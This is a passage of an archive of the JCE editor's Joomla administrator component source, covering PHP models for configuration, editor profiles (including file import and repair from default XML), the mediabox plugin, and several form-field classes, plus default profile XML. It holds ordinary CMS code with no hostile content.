    {
        // Check for request forgeries
        Session::checkToken() or jexit(Text::_('JINVALID_TOKEN'));

        jimport('joomla.filesystem.file');

        $app = Factory::getApplication();
        $tmp = $app->getCfg('tmp_path');

        jimport('joomla.filesystem.file');

        $file = $app->input->files->get('profile_file', null, 'raw');

        // check for valid uploaded file
        if (empty($file) || !is_uploaded_file($file['tmp_name'])) {
            $app->enqueueMessage(Text::_('WF_PROFILES_UPLOAD_NOFILE'), 'error');
            return false;
        }

        if ($file['error'] || $file['size'] < 1) {
            $app->enqueueMessage(Text::_('WF_PROFILES_UPLOAD_NOFILE'), 'error');
            return false;
        }

        // sanitize the file name
        $name = File::makeSafe($file['name']);

        if (empty($name)) {
            $app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_ERROR'), 'error');
            return false;
        }

        // Build the appropriate paths.
        $config = Factory::getConfig();
        $destination = $config->get('tmp_path') . '/' . $name;
        $source = $file['tmp_name'];

        // Move uploaded file.
        File::upload($source, $destination, false, true);

        if (!is_file($destination)) {
            $app->enqueueMessage(Text::_('WF_PROFILES_UPLOAD_FAILED'), 'error');
            return false;
        }

        $result = JceProfilesHelper::processImport($destination);

        if ($result === false) {
            $app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_ERROR'), 'error');
            return false;
        }

        $app->enqueueMessage(Text::sprintf('WF_PROFILES_IMPORT_SUCCESS', $result));

        return true;
    }
}com_jce/models/profiles.xml000060400000014367152455305310012005 0ustar00<?xml version="1.0" encoding="utf-8"?>
<profiles>
    <help>
        <topic key="admin.profiles.about" title="WF_PROFILES_HELP_ABOUT" />
        <topic key="admin.profiles.manage" title="WF_PROFILES_HELP_MANAGE">
            <subtopic key="admin.profiles.manage.copy" title="WF_PROFILES_HELP_MANAGE_COPY" />
            <subtopic key="admin.profiles.manage.delete" title="WF_PROFILES_HELP_MANAGE_DELETE" />
            <subtopic key="admin.profiles.manage.export" title="WF_PROFILES_HELP_MANAGE_EXPORT" />
            <subtopic key="admin.profiles.manage.import" title="WF_PROFILES_HELP_MANAGE_IMPORT" />
            <subtopic key="admin.profiles.manage.ordering" title="WF_PROFILES_HELP_MANAGE_ORDERING" />
            <subtopic key="admin.profiles.manage.enable" title="WF_PROFILES_HELP_MANAGE_ENABLE" />
        </topic>
        <topic key="admin.profiles.edit" title="WF_PROFILES_HELP_EDIT">
            <subtopic key="admin.profiles.edit.setup" title="WF_PROFILES_HELP_EDIT_SETUP" />
            <subtopic key="admin.profiles.edit.features" title="WF_PROFILES_HELP_EDIT_FEATURES" />
            <subtopic key="admin.profiles.edit.editor" title="WF_PROFILES_HELP_EDIT_EDITOR" />
            <subtopic key="admin.profiles.edit.plugins" title="WF_PROFILES_HELP_EDIT_PLUGINS" />
            <subtopic key="admin.profiles.edit.widgets" title="WF_PROFILES_HELP_EDIT_WIDGETS" />
        </topic>
    </help>
    <profiles>
        <profile name="Default" default="default">
            <name>Default</name>
            <description>WF_PROFILES_DEFAULT_DESC</description>
            <users></users>
            <types></types>
            <components></components>
            <area>0</area>
            <device>desktop,tablet,phone</device>
            <rows>help,newdocument,undo,redo,spacer,bold,italic,underline,strikethrough,justifyfull,justifycenter,justifyleft,justifyright,spacer,blockquote,formatselect,styleselect,removeformat,cleanup;fontselect,fontsizeselect,fontcolor,spacer,clipboard,indent,outdent,lists,sub,sup,textcase,charmap,hr;directionality,fullscreen,print,searchreplace,spacer,table,style,attributes;visualaid,visualchars,visualblocks,nonbreaking,anchor,unlink,link,imgmanager,spellchecker,article</rows>
            <plugins>formatselect,styleselect,cleanup,fontselect,fontsizeselect,fontcolor,clipboard,lists,textcase,charmap,hr,directionality,fullscreen,print,searchreplace,table,style,attributes,visualchars,visualblocks,nonbreaking,anchor,link,imgmanager,spellchecker,article,spellchecker,article,browser,contextmenu,media,preview,source</plugins>
            <published>1</published>
            <ordering>1</ordering>
            <params>{"editor":{"toolbar_theme":"modern"}}</params>
        </profile>
        <profile name="Front End">
            <name>Front End</name>
            <description>WF_PROFILES_FRONTEND_DESC</description>
            <users></users>
            <types></types>
            <components></components>
            <area>1</area>
            <device>desktop,tablet,phone</device>
            <rows>help,newdocument,undo,redo,spacer,bold,italic,underline,strikethrough,justifyfull,justifycenter,justifyleft,justifyright,spacer,formatselect,styleselect;clipboard,searchreplace,indent,outdent,lists,cleanup,charmap,removeformat,hr,sub,sup,textcase,nonbreaking,visualchars,visualblocks;fullscreen,print,visualaid,style,attributes,anchor,unlink,link,imgmanager,spellchecker,article</rows>
            <plugins>charmap,contextmenu,help,clipboard,searchreplace,fullscreen,preview,print,style,textcase,nonbreaking,visualchars,visualblocks,attributes,imgmanager,anchor,link,spellchecker,article,lists,formatselect,styleselect,hr</plugins>
            <published>0</published>
            <ordering>2</ordering>
            <params>{"editor":{"toolbar_theme":"modern"}}</params>
        </profile>
        <profile name="Blogger">
            <name>Blogger</name>
            <description>Simple Blogging Profile</description>
            <users></users>
            <types></types>
            <components></components>
            <area>0</area>
            <device>desktop,tablet,phone</device>
            <rows>bold,italic,strikethrough,lists,blockquote,spacer,justifyleft,justifycenter,justifyright,spacer,link,unlink,imgmanager,article,spellchecker,fullscreen,kitchensink;formatselect,styleselect,underline,justifyfull,clipboard,removeformat,charmap,indent,outdent,undo,redo,help</rows>
            <plugins>link,imgmanager,article,spellchecker,fullscreen,kitchensink,clipboard,contextmenu,lists,formatselect,styleselect,textpattern</plugins>
            <published>0</published>
            <ordering>3</ordering>
            <params>{"editor":{"toolbar_theme":"modern"}}</params>
        </profile>
        <profile name="Mobile">
            <name>Mobile</name>
            <description>Sample Mobile Profile</description>
            <users></users>
            <types></types>
            <components></components>
            <area>0</area>
            <device>tablet,phone</device>
            <rows>undo,redo,spacer,bold,italic,underline,formatselect,spacer,justifyleft,justifycenter,justifyfull,justifyright,spacer,fullscreen,kitchensink;styleselect,lists,spellchecker,article,link,unlink</rows>
            <plugins>fullscreen,kitchensink,spellchecker,article,link,lists,formatselect,styleselect,textpattern</plugins>
            <published>0</published>
            <ordering>4</ordering>
            <params>{"editor":{"toolbar_theme":"modern.touch","resizing":"0","resize_horizontal":"0","resizing_use_cookie":"0","links":{"popups":{"default":"","jcemediabox":{"enable":"0"},"window":{"enable":"0"}}}}}</params>
        </profile>
        <profile>
            <name>Markdown</name>
            <description>Sample Markdown Profile</description>
            <users></users>
            <types>6,7,3,4,5,8</types>
            <components></components>
            <area>0</area>
            <device>desktop,tablet,phone</device>
            <rows>fullscreen,justifyleft,justifycenter,justifyfull,justifyright,link,unlink,imgmanager,styleselect</rows>
            <plugins>fullscreen,link,imgmanager,styleselect,media,textpattern</plugins>
            <published>0</published>
            <ordering>5</ordering>
            <params>{"editor":{"toolbar_theme":"modern"}}</params>
        </profile>
    </profiles>
</profiles>com_jce/models/config.php000060400000013230152455305310011402 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright     Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\MVC\Model\FormModel;
use Joomla\CMS\Table\Table;
use Joomla\Event\DispatcherAwareInterface;

class JceModelConfig extends FormModel
{
    /**
     * Returns a Table object, always creating it.
     *
     * @param type   $type   The table type to instantiate
     * @param string $prefix A prefix for the table class name. Optional
     * @param array  $config Configuration array for model. Optional
     *
     * @return JTable A database object
     *
     * @since   1.6
     */
    public function getTable($type = 'Extension', $prefix = 'JTable', $config = array())
    {
        return Table::getInstance($type, $prefix, $config);
    }

    /**
     * Method to get a form object.
     *
     * @param array $data     Data for the form
     * @param bool  $loadData True if the form is to load its own data (default case), false if not
     *
     * @return mixed A JForm object on success, false on failure
     *
     * @since    1.6
     */
    public function getForm($data = array(), $loadData = true)
    {
        if ($this instanceof DispatcherAwareInterface) {
            $this->setDispatcher(Factory::getApplication()->getDispatcher());
        }
        
        // Get the form.
        $form = $this->loadForm('com_jce.config', 'config', array('control' => 'jform', 'load_data' => $loadData));

        if (empty($form)) {
            return false;
        }

        return $form;
    }

    /**
     * Method to get the data that should be injected in the form.
     *
     * @return mixed The data for the form
     *
     * @since    1.6
     */
    protected function loadFormData()
    {
        // Check the session for previously entered form data.
        $data = Factory::getApplication()->getUserState('com_jce.config.data', array());

        if (empty($data)) {
            $data = $this->getData();
        }

        $this->preprocessData('com_jce.config', $data);

        return $data;
    }

    /* Override to prevent plugins from processing form data */
    protected function preprocessData($context, &$data, $group = 'system')
    {
        if (!isset($data->params)) {
            return;
        }

        $config = $data->params;

        if (is_string($config)) {
            $config = json_decode($config, true);
        }

        if (empty($config)) {
            return;
        }

        if (!empty($config['custom_config'])) {
            // settings syntax, eg: key:value
            if (is_string($config['custom_config']) && strpos($config['custom_config'], ':') !== false) {

                if (!WFUtility::isJson($config['custom_config'])) {
                    $values = explode(';', $config['custom_config']);

                    // reset as array
                    $config['custom_config'] = array();

                    foreach ($values as $value) {
                        list($key, $val) = explode(':', $value);

                        $config['custom_config'][] = array(
                            'name' => $key,
                            'value' => trim($val, " \t\n\r\0\x0B'\""),
                        );
                    }
                }
            }
        }

        $data->params = $config;
    }

    /**
     * Method to get the configuration data.
     *
     * This method will load the global configuration data straight from
     * JConfig. If configuration data has been saved in the session, that
     * data will be merged into the original data, overwriting it.
     *
     * @return array An array containg all global config data
     *
     * @since    1.6
     */
    public function getData()
    {
        $table = $this->getTable();

        $id = $table->find(array(
            'type' => 'plugin',
            'element' => 'jce',
            'folder' => 'editors',
        ));

        if (!$table->load($id)) {
            $this->setError($table->getError());
            return false;
        }

        // json_decode
        $json = json_decode($table->params, true);

        if (empty($json)) {
            $json = array();
        }

        array_walk($json, function (&$value, $key) {
            if (is_numeric($value)) {
                $value = $value + 0;
            }
        });

        $data = new StdClass;
        $data->params = $json;

        return $data;
    }

    /**
     * Method to save the form data.
     *
     * @param   array  The form data
     *
     * @return bool True on success
     *
     * @since    2.7
     */
    public function save($data)
    {
        $table = $this->getTable();

        $id = $table->find(array(
            'type' => 'plugin',
            'element' => 'jce',
            'folder' => 'editors',
        ));

        if (!$id) {
            $this->setError('Invalid plugin');
            return false;
        }

        // Load the previous Data
        if (!$table->load($id)) {
            $this->setError($table->getError());
            return false;
        }

        // Bind the data.
        if (!$table->bind($data)) {
            $this->setError($table->getError());
            return false;
        }

        // Check the data.
        if (!$table->check()) {
            $this->setError($table->getError());
            return false;
        }

        // Store the data.
        if (!$table->store()) {
            $this->setError($table->getError());
            return false;
        }

        return true;
    }
}
com_jce/models/profiles.php000060400000017723152455305310011773 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\CMS\Table\Table;
use Joomla\Event\DispatcherAwareInterface;

require_once JPATH_COMPONENT_ADMINISTRATOR . '/helpers/profiles.php';

class JceModelProfiles extends ListModel
{
    /**
     * Constructor.
     *
     * @param   array  $config  An optional associative array of configuration settings.
     *
     * @see     JControllerLegacy
     * @since   1.6
     */
    public function __construct($config = array())
    {
        if ($this instanceof DispatcherAwareInterface) {
            $this->setDispatcher(Factory::getApplication()->getDispatcher());
        }
        
        if (empty($config['filter_fields'])) {
            $config['filter_fields'] = array(
                'id', 'id',
                'name', 'name',
                'checked_out', 'checked_out',
                'checked_out_time', 'checked_out_time',
                'published', 'published',
                'ordering', 'ordering',
            );
        }

        parent::__construct($config);
    }

    /**
     * Method to auto-populate the model state.
     *
     * @param   string  $ordering   An optional ordering field.
     * @param   string  $direction  An optional direction (asc|desc).
     *
     * @return  void
     *
     * @note    Calling getState in this method will result in recursion.
     * @since   1.6
     */
    protected function populateState($ordering = 'id', $direction = 'asc')
    {
        // Load the filter state.
        $this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));

        // Load the parameters.
        $params = ComponentHelper::getParams('com_jce');
        $this->setState('params', $params);

        // List state information.
        parent::populateState($ordering, $direction);
    }

    /**
     * Method to get a store id based on model configuration state.
     *
     * This is necessary because the model is used by the component and
     * different modules that might need different sets of data or different
     * ordering requirements.
     *
     * @param   string  $id  A prefix for the store id.
     *
     * @return  string  A store id.
     *
     * @since   1.6
     */
    protected function getStoreId($id = '')
    {
        // Compile the store id.
        $id .= ':' . $this->getState('filter.search');
        $id .= ':' . $this->getState('filter.published');
        $id .= ':' . $this->getState('filter.components');

        return parent::getStoreId($id);
    }

    /**
     * Method to get an array of data items.
     *
     * @return  mixed  An array of data items on success, false on failure.
     *
     * @since   1.6
     */
    public function getItems()
    {
        $items = parent::getItems();

        // Filter by device
        $device = $this->getState('filter.device');

        // Filter by component
        $components = $this->getState('filter.components');

        // Filter by user groups
        $usergroups = $this->getState('filter.usergroups');

        $items = array_filter($items, function ($item) use ($device, $components, $usergroups) {
            $state = true;

            if ($device) {
                $state = in_array($device, explode(',', $item->device));
            }

            if ($components) {
                $state = in_array($components, explode(',', $item->components));
            }

            if ($usergroups) {
                $state = in_array($usergroups, explode(',', $item->types));
            }

            return $state;
        });

        // Get a storage key.
        $store = $this->getStoreId();

        // update cache store
        $this->cache[$store] = $items;

        return $items;
    }

    /**
     * Build an SQL query to load the list data.
     *
     * @return  JDatabaseQuery
     *
     * @since   1.6
     */
    protected function getListQuery()
    {
        // Create a new query object.
        $db = $this->getDbo();
        $query = $db->getQuery(true);
        $user = Factory::getUser();

        // Select the required fields from the table.
        $query->select(
            $this->getState(
                'list.select',
                '*'
            )
        );

        $query->from($db->quoteName('#__wf_profiles'));

        // Filter by published state
        $published = $this->getState('filter.published');

        if (is_numeric($published)) {
            $query->where($db->quoteName('published') . ' = ' . (int) $published);
        } elseif ($published === '') {
            $query->where('(' . $db->quoteName('published') . ' = 0 OR ' . $db->quoteName('published') . ' = 1)');
        }

        // Filter by area
        $area = (int) $this->getState('filter.area');

        if ($area) {
            $query->where($db->quoteName('area') . ' = ' . (int) $area);
        }

        // Filter by search in title
        $search = $this->getState('filter.search');

        if (!empty($search)) {
            if (stripos($search, 'id:') === 0) {
                $query->where($db->quoteName('id') . ' = ' . (int) substr($search, 3));
            } else {
                $search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
                $query->where('(' . $db->quoteName('name') . ' LIKE ' . $search . ' OR ' . $db->quoteName('description') . ' LIKE ' . $search . ')');
            }
        }

        // Add the list ordering clause.
        $listOrder = $this->getState('list.ordering', 'ordering');
        $listDirn = $this->getState('list.direction', 'ASC');

        $query->order($db->escape($listOrder . ' ' . $listDirn));

        return $query;
    }

    public function repair()
    {
        $file = __DIR__ . '/profiles.xml';

        if (!is_file($file)) {
            $this->setError(Text::_('WF_PROFILES_REPAIR_ERROR'));
            return false;
        }

        $xml = simplexml_load_file($file);

        if (!$xml) {
            $this->setError(Text::_('WF_PROFILES_REPAIR_ERROR'));
            return false;
        }

        foreach ($xml->profiles->children() as $profile) {
            $groups = JceProfilesHelper::getUserGroups((int) $profile->children('area'));

            $table = Table::getInstance('Profiles', 'JceTable');

            foreach ($profile->children() as $item) {
                switch ((string) $item->getName()) {
                    case 'description':
                        $table->description = Text::_((string) $item);
                    case 'types':
                        $table->types = implode(',', $groups);
                        break;
                    case 'area':
                        $table->area = (int) $item;
                        break;
                    case 'rows':
                        $table->rows = (string) $item;
                        break;
                    case 'plugins':
                        $table->plugins = (string) $item;
                        break;
                    default:
                        $key = $item->getName();
                        $table->$key = (string) $item;

                        break;
                }
            }

            // default
            $table->checked_out = 0;
            $table->checked_out_time = '0000-00-00 00:00:00';

            // Check the data.
            if (!$table->check()) {
                $this->setError($table->getError());

                return false;
            }

            // Store the data.
            if (!$table->store()) {
                $this->setError($table->getError());

                return false;
            }
        }

        return true;
    }
}
com_jce/models/editor.php000060400000003370152455305310011427 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;

class WFModelEditor
{
    private static $editor;

    public function buildEditor()
    {
        if (!isset(self::$editor)) {
            self::$editor = new WFEditor();
        }

        $settings = self::$editor->getEditorSettings();

        return self::$editor->render($settings);
    }

    public function getEditorSettings()
    {
        if (!isset(self::$editor)) {
            self::$editor = new WFEditor();
        }

        return self::$editor->getEditorSettings();
    }

    public function render($settings = array())
    {
        if (!isset(self::$editor)) {
            self::$editor = new WFEditor();
        }

        if (empty($settings)) {
            $settings = self::$editor->getEditorSettings();
        }

        self::$editor->render($settings);

        $document = Factory::getDocument();

        foreach (self::$editor->getScripts() as $script => $type) {
            $document->addScript($script, array('version' => 'auto'), array('type' => $type, 'defer' => 'defer'));
        }

        foreach (self::$editor->getStyleSheets() as $style) {
            $document->addStylesheet($style, array('version' => 'auto'));
        }

        $script = "document.addEventListener('DOMContentLoaded',function handler(){" . implode("", self::$editor->getScriptDeclaration()) . ";this.removeEventListener('DOMContentLoaded',handler);});";

        $document->addScriptDeclaration($script);
    }
}
com_jce/models/mediabox.php000060400000010426152455305310011731 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\MVC\Model\FormModel;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Table\Table;

class JceModelMediabox extends FormModel
{
    /**
     * Returns a Table object, always creating it.
     *
     * @param type   $type   The table type to instantiate
     * @param string $prefix A prefix for the table class name. Optional
     * @param array  $config Configuration array for model. Optional
     *
     * @return Joomla\CMS\Table\Table A database object
     *
     * @since   1.6
     */
    public function getTable($type = 'Extension', $prefix = 'JTable', $config = array())
    {
        return Table::getInstance($type, $prefix, $config);
    }

    /**
     * Method to get a form object.
     *
     * @param array $data     Data for the form
     * @param bool  $loadData True if the form is to load its own data (default case), false if not
     *
     * @return mixed A JForm object on success, false on failure
     *
     * @since    1.6
     */
    public function getForm($data = array(), $loadData = true)
    {
        Form::addFormPath(JPATH_PLUGINS . '/system/jcemediabox');

        Factory::getLanguage()->load('plg_system_jcemediabox', JPATH_PLUGINS . '/system/jcemediabox');
        Factory::getLanguage()->load('plg_system_jcemediabox', JPATH_ADMINISTRATOR);

        // Get the form.
        $form = $this->loadForm('com_jce.mediabox', 'jcemediabox', array('control' => 'jform', 'load_data' => $loadData), true, '//config');

        if (empty($form)) {
            return false;
        }

        return $form;
    }

    /**
     * Method to get the data that should be injected in the form.
     *
     * @return mixed The data for the form
     *
     * @since    1.6
     */
    protected function loadFormData()
    {
        // Check the session for previously entered form data.
        $data = Factory::getApplication()->getUserState('com_jce.mediabox.plugin.data', array());

        if (empty($data)) {
            $data = $this->getData();
        }

        return $data;
    }

    /**
     * Method to get the configuration data.
     *
     * This method will load the global configuration data straight from
     * JConfig. If configuration data has been saved in the session, that
     * data will be merged into the original data, overwriting it.
     *
     * @return array An array containg all global config data
     *
     * @since    1.6
     */
    public function getData()
    {
        // Get the editor data
        $plugin = PluginHelper::getPlugin('system', 'jcemediabox');

        // json_decode
        $json = json_decode($plugin->params, true);

        array_walk($json, function (&$value, $key) {
            if (is_numeric($value)) {
                $value = $value + 0;
            }
        });

        $data = new StdClass;
        $data->params = $json;

        return $data;
    }

    /**
     * Method to save the form data.
     *
     * @param   array  The form data
     *
     * @return bool True on success
     *
     * @since    2.7
     */
    public function save($data)
    {
        $table = $this->getTable();

        $id = $table->find(array(
            'type' => 'plugin',
            'element' => 'jcemediabox',
            'folder' => 'system',
        ));

        if (!$id) {
            $this->setError('Invalid plugin');
            return false;
        }

        // Load the previous Data
        if (!$table->load($id)) {
            $this->setError($table->getError());
            return false;
        }

        // Bind the data.
        if (!$table->bind($data)) {
            $this->setError($table->getError());
            return false;
        }

        // Check the data.
        if (!$table->check()) {
            $this->setError($table->getError());
            return false;
        }

        // Store the data.
        if (!$table->store()) {
            $this->setError($table->getError());
            return false;
        }

        return true;
    }
}
com_jce/models/index.html000060400000000054152455305310011421 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/models/mediabox.xml000060400000000230152455305310011732 0ustar00<?xml version="1.0" encoding="utf-8"?>
<mediabox>
	<help>
		<topic key="admin.mediabox.config" title="WF_MEDIABOX_HELP_CONFIG" />
	</help>
</mediabox>
 com_jce/models/fields/searchplugins.php000060400000005463152455305310014263 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Field\PluginsField;
use Joomla\CMS\Language\Text;

class JFormFieldSearchPlugins extends PluginsField
{
    /**
     * The form field type.
     *
     * @var string
     *
     * @since  11.1
     */
    protected $type = 'SearchPlugins';

    /**
     * Method to attach a JForm object to the field.
     *
     * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the `<field>` tag for the form field object.
     * @param   mixed             $value    The form field value to validate.
     * @param   string            $group    The field name group control value. This acts as an array container for the field.
     *                                      For example if the field has name="foo" and the group value is set to "bar" then the
     *                                      full field name would end up being "bar[foo]".
     *
     * @return  boolean  True on success.
     *
     * @see     JFormField::setup()
     * @since   3.2
     */
    public function setup(SimpleXMLElement $element, $value, $group = null)
    {
        if (is_string($value) && strpos($value, ',') !== false) {
            $value = explode(',', $value);
        }

        $return = parent::setup($element, $value, $group);

        if ($return) {
            $this->folder = 'search';
            $this->element['useaccess'] = 'true';
        }

        return $return;
    }

    /**
     * Method to get a list of options for a list input.
     *
     * @return array An array of JHtml options
     *
     * @since   11.4
     */
    protected function getOptions()
    {
        $options = array();
        $default = explode(',', $this->default);

        foreach (parent::getOptions() as $item) {
            if (in_array($item->value, $default)) {
                continue;
            }

            // skip "newsfeeds"
            if ($item->value == 'newsfeeds') {
                continue;
            }

            $options[] = $item;
        }

        foreach ($default as $name) {
            if (!is_dir(JPATH_SITE . '/components/com_jce/editor/extensions/search/adapter/' . $name)) {
                continue;
            }

            $option = new StdClass;

            $option->text = Text::_('PLG_SEARCH_' . strtoupper($name) . '_' . strtoupper($name), true);
            $option->disable = '';
            $option->value = $name;

            $options[] = $option;
        }

        // Merge any additional options in the XML definition.
        return $options;
    }
}
com_jce/models/fields/profileordering.php000060400000002565152455305310014606 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\Field\OrderingField;

/**
 * Supports an HTML select list of plugins.
 *
 * @since       1.6
 */
class JFormFieldProfileordering extends OrderingField
{
    /**
     * The form field type.
     *
     * @var string
     *
     * @since   1.6
     */
    protected $type = 'Profileordering';

    /**
     * Builds the query for the ordering list.
     *
     * @return JDatabaseQuery The query for the ordering form field
     */
    protected function getQuery()
    {
        $db = Factory::getDbo();

        // Build the query for the ordering list.
        $query = $db->getQuery(true)
            ->select(array($db->quoteName('ordering', 'value'), $db->quoteName('name', 'text'), $db->quote('id')))
            ->from($db->quoteName('#__wf_profiles'))
            ->order('ordering');

        return $query;
    }

    /**
     * Retrieves the current Item's Id.
     *
     * @return int The current item ID
     */
    protected function getItemId()
    {
        return (int) $this->form->getValue('id');
    }
}
com_jce/models/fields/filesystempath.php000060400000007040152455305310014446 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2026 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Field\TextField;

class JFormFieldFilesystemPath extends TextField
{

    /**
     * The form field type.
     *
     * @var    string
     *
     * @since  2.8
     */
    protected $type = 'FilesystemPath';

    /**
     * Method to attach a JForm object to the field.
     *
     * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the <field /> tag for the form field object.
     * @param   mixed             $value    The form field value to validate.
     * @param   string            $group    The field name group control value. This acts as as an array container for the field.
     *                                      For example if the field has name="foo" and the group value is set to "bar" then the
     *                                      full field name would end up being "bar[foo]".
     *
     * @return  boolean  True on success.
     *
     * @since   2.8
     */
    public function setup(SimpleXMLElement $element, $value, $group = null)
    {
        $return = parent::setup($element, $value, $group);

        return $return;
    }

    /**
     * Method to get the field input markup.
     *
     * @return  string  The field input markup.
     *
     * @since   11.1
     */
    protected function getInput()
    {
        $values = $this->value;
        $path   = '';

        // Step 1: If it's an array, flatten the "first meaningful" item.
        if (is_array($values) && !empty($values)) {
            
            // If it's an associative array already (eg: ['path' => 'images']), use it as-is.
            if (array_key_exists('path', $values)) {
                $values = [$values];
            } else {
                // Otherwise take the first non-empty item (eg: first JSON string in the array)
                $values = reset($values);
            }
        }

        // Step 2: If it's a string, try decode JSON; if not JSON, treat as path string.
        if (is_string($values)) {
            $value = trim(htmlspecialchars_decode($values));

            if ($value !== '') {
                $decoded = json_decode($value, true);

                if (json_last_error() === JSON_ERROR_NONE && $decoded !== null && $decoded !== []) {
                    $values = $decoded;
                } else {
                    // Not valid JSON -> it’s a plain path
                    $values = [['path' => $value]];
                }
            } else {
                $values = [];
            }
        }

        // Step 3: Extract first path
        if (is_array($values) && !empty($values)) {
            // If decoded to a single associative item, normalise to a list.
            if (array_key_exists('path', $values)) {
                $values = [$values];
            }

            $first = reset($values);

            if (is_array($first) && isset($first['path'])) {
                $path = (string) $first['path'];
            }
        }

        $this->value = $path;

        // collect the layout data...
        $layoutData = $this->getLayoutData();

        // ...and reset the value to the processed value
        $layoutData['value'] = htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8');

        return $this->getRenderer($this->layout)->render($layoutData);
    }
}com_jce/models/fields/fonts.php000060400000010101152455305310012526 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Field\CheckboxesField;
use Joomla\CMS\Language\Text;

class JFormFieldFonts extends CheckboxesField
{
    /**
     * The form field type.
     *
     * @var string
     *
     * @since  11.1
     */
    protected $type = 'Fonts';

    /**
     * Name of the layout being used to render the field
     *
     * @var    string
     * @since  3.5
     */
    protected $layout = 'form.field.fonts';

    /**
     * Flag to tell the field to always be in multiple values mode.
     *
     * @var    boolean
     * @since  11.1
     */
    protected $forceMultiple = false;

    private static $fonts = array(
        'Andale Mono' => 'andale mono,times',
        'Arial' => 'arial,helvetica,sans-serif',
        'Arial Black' => 'arial black,avant garde',
        'Book Antiqua' => 'book antiqua,palatino',
        'Comic Sans MS' => 'comic sans ms,sans-serif',
        'Courier New' => 'courier new,courier',
        'Georgia' => 'georgia,palatino',
        'Helvetica' => 'helvetica',
        'Impact' => 'impact,chicago',
        'Symbol' => 'symbol',
        'Tahoma' => 'tahoma,arial,helvetica,sans-serif',
        'Terminal' => 'terminal,monaco',
        'Times New Roman' => 'times new roman,times',
        'Trebuchet MS' => 'trebuchet ms,geneva',
        'Verdana' => 'verdana,geneva',
        'Webdings' => 'webdings',
        'Wingdings' => 'wingdings,zapf dingbats',
    );

    /**
     * Allow to override renderer include paths in child fields
     *
     * @return  array
     *
     * @since   3.5
     */
    protected function getLayoutPaths()
    {
        return array(JPATH_ADMINISTRATOR . '/components/com_jce/layouts', JPATH_SITE . '/layouts');
    }

    protected function getOptions()
    {
        $fieldname = preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname);
        $options = array();

        if (is_string($this->value)) {
            $this->value = json_decode(htmlspecialchars_decode($this->value), true);
        }

        // cast to array
        $this->value = (array) $this->value;

        $fonts = array();

        // map associative array to array of key value pairs
        foreach ($this->value as $key => $value) {
            if (is_numeric($key) && is_array($value)) {
                $fonts[] = $value;
            } else {
                $fonts[] = array($key => $value);
            }
        }
        // array of font names to exclude from default list
        $exclude = array();
        // array of custom font key/value pairs
        $custom = array();

        foreach ($fonts as $font) {
            list($text) = array_keys($font);
            list($value) = array_values($font);

            // add to $exclude array
            $exclude[] = $text;

            $value = htmlspecialchars_decode($value, ENT_QUOTES);

            $isCustom = !in_array($value, array_values(self::$fonts));

            $item = array(
                'value' => $value,
                'text' => Text::alt($text, $fieldname),
                'checked' => true,
                'custom' => $isCustom,
            );

            $item = (object) $item;

            if ($isCustom) {
                $custom[] = $item;
            } else {
                $options[] = $item;
            }
        }

        $checked = empty($exclude) ? true : false;

        // assign empty (unchecked) options for unused fonts
